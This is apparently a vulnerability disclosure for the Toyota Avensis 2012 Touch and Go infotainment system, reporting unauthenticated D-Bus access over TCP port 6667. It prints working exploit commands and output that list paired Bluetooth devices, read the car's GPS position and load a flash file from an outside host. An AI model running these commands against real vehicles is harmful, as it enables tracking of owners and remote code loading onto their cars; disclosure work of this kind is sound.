= Remote Access to Toyota Avensis 2012 model Touch and Go system via DBUS =

<<TableOfContents>>

== Intro ==

## Executive summary
## Also include any requests on disclosure dates etc here 
Toyota Avensis have ''Touch and Go'' -system which can be connected to Internet via Bluetooth (Toyota Avensis 2012 model). ''Touch and Go'' -system has DBUS available via TCP port 6667 and there is '''no''' authentication of any sort. Via D-BUS you can control applications which are running on the Touch and Go system. You can get coordinates of the car, load external flash applications from Internet etc. 

== Details ==
=== Calling functions ===

It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters.

{{attachment:toyota-cmd.py}}

Using that we were able to:

 1. Get list of paired Bluetooth devices {{{
machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
{"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}
}}}
 1. Get car GPS-position: {{{
machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
calling MAP_PositionInfo()
{"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}
}}}
 1. Load any flash (swf) application from Internet: {{{
machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
{"result":true}
}}}